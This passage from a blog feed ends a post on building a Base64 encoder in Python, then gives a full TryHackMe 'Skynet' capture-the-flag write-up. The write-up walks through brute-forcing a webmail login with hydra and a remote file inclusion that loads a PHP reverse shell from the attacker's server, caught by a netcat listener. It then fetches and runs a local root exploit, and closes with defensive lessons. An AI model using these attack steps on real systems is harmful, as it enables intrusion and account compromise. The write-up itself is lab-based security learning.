&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;octet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;octet&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;octets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# combine ASCII characters to string
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Finally, let’s write some code to test out our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Base64e&lt;/code&gt; class. Here we just prompt the user for a string to encode, initialize an instance of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Base64e&lt;/code&gt; class called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encoder&lt;/code&gt;, and encode the inputted message. Then we print the results of our encoding, along with the results of encoding the same message with the python base64 module. We also plug the encoded message into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decode&lt;/code&gt; method to ensure that we have the correct decoded message.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Enter text to encode: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Base64e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;decoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;module_encoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;module_decoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module_encoded&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Encoded values: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Our encoder:           &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;base64 module encoder: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module_encoded&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Decoded values: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Our decoder:           &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decoded&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;base64 module decoder: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module_decoded&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now let’s try it out. Below are the results of running the script, entering the text “Hi!” when prompted.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter text to encode: Hi!
Encoded values: 
Our encoder:           SGkh
base64 module encoder: SGkh
Decoded values: 
Our decoder:           Hi!
base64 module decoder: Hi!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have indeed obtained the correct encoded and decoded message. I’d encourage you to try the code yourself and test out various inputs. You can get the complete script from my Github &lt;a href=&quot;https://github.com/capt-calculator/Base64Encoder&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Hopefully you’ve gotten a much better understanding of how Base64 works. I certainly have after writing this python script. Again, I often find the best way to gain an in-depth understanding of something like Base64 encoding is to write my own code. I hope to do more posts like this in the future where we can take a deep dive into some other encoding schemes.&lt;/p&gt;

</description>
        <pubDate>Sun, 08 May 2022 00:00:00 -0400</pubDate>
        <link>//2022/05/08/Know-Your-Encodings-base64/</link>
        <link href="/2022/05/08/Know-Your-Encodings-base64/"/>
        <guid isPermaLink="true">/2022/05/08/Know-Your-Encodings-base64/</guid>
      </item>
    
      <item>
        <title>CTF Writeup: tryhackme.com Skynet</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;Once again, I will do a tryhackme.com capture the flag writeup. This time we will take a look at the &lt;a href=&quot;https://tryhackme.com/room/skynet&quot;&gt;Skynet&lt;/a&gt; room. The introduction to this room simply states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Are you able to compromise this Terminator themed machine?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In addition to obtaining the usual user and root flags, we will also need to answer a few questions including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is Miles’ password for his emails?&lt;/li&gt;
  &lt;li&gt;What is the hidden directory?&lt;/li&gt;
  &lt;li&gt;What is the vulnerability called when you can include a remote file for malicious purposes?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As always, we will first need to connect to the tryhackme.com network via VPN. If you have never done so before, you can find the relevant information and configuration file &lt;a href=&quot;https://tryhackme.com/access&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h1&gt;

&lt;p&gt;After we’ve spun up the machine in the room, we’ll begin with the standard reconaissance tools. Let’s begin with an nmap scan:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV 10.10.154.84
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From this output we can see that we have several services running on this machine including ssh, a web server on port 80, pop3 and imap on ports 110 and 143, as well as netbios/Samba on 139 and 445. This gives us several targets to enumerate such as a possible web server, email server, and a samba share.&lt;/p&gt;

&lt;p&gt;Let’s check out the web server next. Navigating to the ip address in our browser gives us a page with a “Skynet” logo and a search bar:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The search bar does not seem to work. Having seen that, let’s enumerate possible directories using gobuster and the &lt;a href=&quot;https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt&quot;&gt;common.txt&lt;/a&gt; wordlist from seclists:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gobuster -u http://10.10.154.84 -w /usr/share/wordlists/gobuster/common.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This output shows us several directories of interest including /admin, /config, and /squirrelmail. Upon investigation, both /admin and /config were Forbidden, but /squirrelmail led to an email login portal:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Recall that the first question asks us what is Miles’ email password. We don’t have username yet (although miles is certainly a possibility), so let’s just note this down for now. Also note that the version of squirrelmail here is 1.4.23 in case there are any know vulnerabilities. For now, let’s continue our recon.&lt;/p&gt;

&lt;p&gt;There is also a Samba share running on this machine. Let’s see if we can get anonymous login:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbclient \\\\10.10.154.84\\anonymous
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here we can just leave the password blank when prompted for it. Once in, let’s see what files are here, if any:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see a file called attention.txt in the first directory and some type of log files in the \logs directory. We also see a share for milesdyson (possible username?), so we note that down. At this point we can either download the files to our local machine using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get filename&lt;/code&gt; command or read the files directly on the share using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;more filename&lt;/code&gt;. Either way, we see that attention.txt states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That could potentially be useful information. Let’s look at the log files. The log1.txt file seems to be a wordlist:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Both log2.txt and log3.txt were empty. Let’s grab log1.txt using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get log1.txt&lt;/code&gt; and then log out of the share.&lt;/p&gt;

&lt;p&gt;Next I tried using username: milesdyson and the “passwords” from log1.txt along with hydra to brute-force the milesdyson samba share login, but had no luck. So let’s take that info back to the squirrelmail login page and try there.&lt;/p&gt;

&lt;p&gt;In order to do so, we need to get some information from our browser’s developer tools. Here I’m using firefox. First navigate to the login page at http://10.10.154.84/squirrelmail/src/login.php, substituting the IP address for your tryhackme instance. Then right click –&amp;gt; Inspect to open developer tools and click on the “Network” tab. Next, enter something into the username and password fields (It doesn’t matter what. Here I use “test” and “test”) and click Login. Note that on a failure we get redirected to http://10.10.154.84/squirrelmail/src/redirect.php and that the failure message is “Unknown user or password incorrect.”&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then right-click on the POST request that appears in the bottom pane and select “Edit and resend”. Upon doing so, scroll down to the bottom of the bottom-right pane and look for the request body. In this case it is “login_username=test&amp;amp;secretkey=test&amp;amp;js_autodetect_results=1&amp;amp;just_logged_in=1.” Now we have all the information we need to brute force this web login. We can do so with hydra as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hydra -l milesdyson -P log1.txt 10.10.154.84 http-post-form &apos;/squirrelmail/src/redirect.php:login_username=^USER^&amp;amp;secretkey=^PASS^&amp;amp;js_autodetect_results=1&amp;amp;just_logged_in=1:F=Unknown user or password incorrect.&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we did everything correctly, hydra should find the password (redacted here) among the log1.txt file. Now we can answer the first question in the tryhackme room. Upon using that to login to the milesdyson account, we see an inbox with three emails:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The “Samba Password reset” email certainly looks interesting. Let’s open that up:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here we see an automatically generated Samba password. Let’s go back to the milesdyson samba share and try to log in with it using smbclient:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smbclient \\\\10.10.154.84\\milesdyson -U milesdyson
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’re in. Navigating around, we see a bunch of pdfs and markdown files on machine learning and neural networks. Makes sense. It is Miles Dyson after all.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In a directory called notes, a file called important.txt is notable. Opening it up it reads:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ol&gt;
    &lt;li&gt;Add features to beta CMS /45kra24zxs28v3yd&lt;/li&gt;
    &lt;li&gt;Work on T-800 Model 101 blueprints&lt;/li&gt;
    &lt;li&gt;Spend more time with my wife&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is almost certainly the hidden directory on the web server we are intended to find. Let’s confirm:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are greeted witht above page. Nwow we can answer the second question. Since this is some sort of CMS, let’s enumerate this directory with gobuster:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gobuster -u http://10.10.154.84/45kra24zxs28v3yd -w /usr/share/wordlists/gobuster/common.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The scan reveals an /administrator directory, which leads to an admin login portal for Cuppa CMS:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Neither the Samba or squirrelmail logins work here. Let’s check exploit-db for any vulnerabilities with this CMS:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;initial-access&quot;&gt;Initial Access&lt;/h1&gt;

&lt;p&gt;There is one entry: a local/remote file inclusion vulnerability. Looking deeper, we see that the vulnerable page is ppa/alerts/alertConfigField.php?urlConfig=[FI]. We can enter this url in our browser and point the urlConfig variable to a malicious php file (served by us) containing a php reverse shell. There are several components to this attack. First we need a php reverse shell. We can get that from pentestmonkey using a wget:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we open that in a text editor and change the ip address to our attacking machine’s IP address (on the tryhackme network) and select a port to listen on. Here I use port 8000.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we need to serve php-reverse-shell.php. Here I just user python http.server from the directory where the file is located, listening on port 4040:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 -m http.server 4040
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we need to set up our netcat listener to catch the reverse shell. Here we do so, using the port we specified in php-reverse-shell.php:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nc -lvnp 8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once the listener and the web server are ready to go, we go back to our web browser and enter the above address, substituting the address of our web server’s reverse shell file like so:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://10.10.154.84/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.84.108:4040/php-reverse-shell.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If all goes well, the web page should look likes it is perpetually loading. If we go back to our terminal, we should see that the web server successfully served the file and the netcat listener should have caught the reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since that was succesful, we now know the answer to question 3. Simply enter the name of the vulnerability we just used. We see that we are now user www-data using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt; command. Let’s now stabilize this shell somewhat using some python magic:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that we have permission to read files in milesdyson’s home directory where the user flag is. We can cat it out to get the user flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h1&gt;

&lt;p&gt;Last of all we need to elevate privileges to root and get the root flag. This may be easier if we can pivot to the milesdyson account, so let’s try the passwords that we’ve used successfully so far:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great, one of them worked.&lt;/p&gt;

&lt;p&gt;I used the &lt;a href=&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;&gt;LinEnum&lt;/a&gt; script to look for potential attack vectors and noticed that the machine was running an outdated version of Ubuntu (16.04). I seem to recall a vulnerability with this. Let’s check exploit-db once again. Turns out there is a lot:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I ended up choosing the second one since it had an exploit already written in C and seemed quite easy to execute. First, grab the exploit program:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://www.exploit-db.com/download/47169 -O exploit.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we need to get the program onto the target. Here I make use of python http.server again to serve the file and then use wget on the target web server to grab it. Attacking machine:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 -m http.server 4040
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Target machine:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget http://10.6.84.108:4040/exploit.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exploit is now on the target machine. Next we need to compile it with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc exploit.c -o exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we give ourselves execute priviliges and run the program:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;chmod +x exploit
./exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Just like that, we are root. Last of all we get the user flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post7/Screenshot26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h1&gt;

&lt;p&gt;A series of security misconfigurations and issues led to the complete compromise of this machine. How could the administrator prevented this from happening? Let’s review the issues:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Samba permitted anonymous login. This is generally not advised. The administrator should disable guest login in the /etc/samba/smb.conf file. If guest logins are necessary for some reason, there should not be any sensitive information in the anonymous share.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;There was a wordlist in the anonymous samba share, one entry of which was the login for milesdyson’s email account on the server. This password also turned out to be his user password on the system. This allowed us to bruteforce his email login. Again, there should not be sensitive information in the anonymous share. In this case it was a complete lapse of judgement because there was a password wordlist, one of which was the correct password for a service (squirrel mail) running on the server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;milesdyson did not reset his Samba password after receiving his password reset email. This is necessary because the system-generated password was in cleartext. Anyone who gains access to his emails will automatically gain access to his samba share.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;milesdyson was using a CMS with a known vulnerability that was unpatched. In this case, the vulnerability in Cuppa CMS. This is an old CMS and this vulnerability was never patched. Therefore, the administrator should migrate content to a more secure and modern CMS and completely remove Cuppa from the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The system was running an outdated version of Ubuntu with several known privilege escalation vulnerabilities. The administrator should update to a newer version of Ubuntu server.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

</description>
        <pubDate>Fri, 18 Jun 2021 00:00:00 -0400</pubDate>
        <link>//2021/06/18/CTF-Writeup-tryhackme.com-Skynet/</link>
